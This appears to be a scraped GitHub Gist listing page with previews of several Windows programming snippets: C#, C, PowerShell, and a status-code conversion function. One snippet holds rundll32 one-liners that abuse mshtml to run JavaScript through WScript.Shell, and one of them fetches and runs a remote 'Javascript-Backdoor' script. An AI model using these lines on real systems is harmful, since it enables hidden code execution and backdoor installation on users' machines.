Skip to content

Instantly share code, notes, and snippets.

@namazso
namazso / ThemeManagerDemo.cs
Last active March 6, 2025 05:33
Setting themes with IThemeManager2 in C#
// Copyright (c) 2022 namazso <[email protected]>
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all
@0x25bit
0x25bit / messages.c
Created September 6, 2019 10:42 — forked from taviso/messages.c
Enumerating Windows Messages
#include <windows.h>
#include <stdio.h>
#include <stdint.h>
#pragma comment(lib, "USER32")
FARPROC NtUserPostMessage;
BOOL CALLBACK QueryWindowMessageProc(HWND Window, LPARAM Param)
{
@ridomin
ridomin / StartUWPFromCommandLine.ps1
Created August 31, 2016 17:14
Run UWP app from command line
<#
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownership. The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License"); you may not use this file except in compliance
with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")
@chubin
chubin / Enable-wttr.in-for-PowerShell
Created February 22, 2016 22:19
How to enable wttr.in in a PowerShell console
# To enable ANSI sequences in a PowerShell console run the following commands.
# After that you can use wttr.in in you PowerShell just lake that:
# (curl http://wttr.in/ -UserAgent "curl" ).Content
#
# More on it:
# http://stknohg.hatenablog.jp/entry/2016/02/22/195644 (jp)
#
Add-Type -MemberDefinition @"
[DllImport("kernel32.dll", SetLastError=true)]
@ian-abbott
ian-abbott / ntstatuserror.c
Last active December 19, 2022 13:16
C function to convert an NTSTATUS code into a Win32 error code - alternative to RtlNtStatusToDosError()
#include <windows.h>
/*
* This is an alternative to the RtlNtStatusToDosError()
* function in ntdll.dll. It uses the GetOverlappedResult()
* function in kernel32.dll to do the conversion.
*/
DWORD
ConvertNtStatusToWin32Error(LONG ntstatus)
{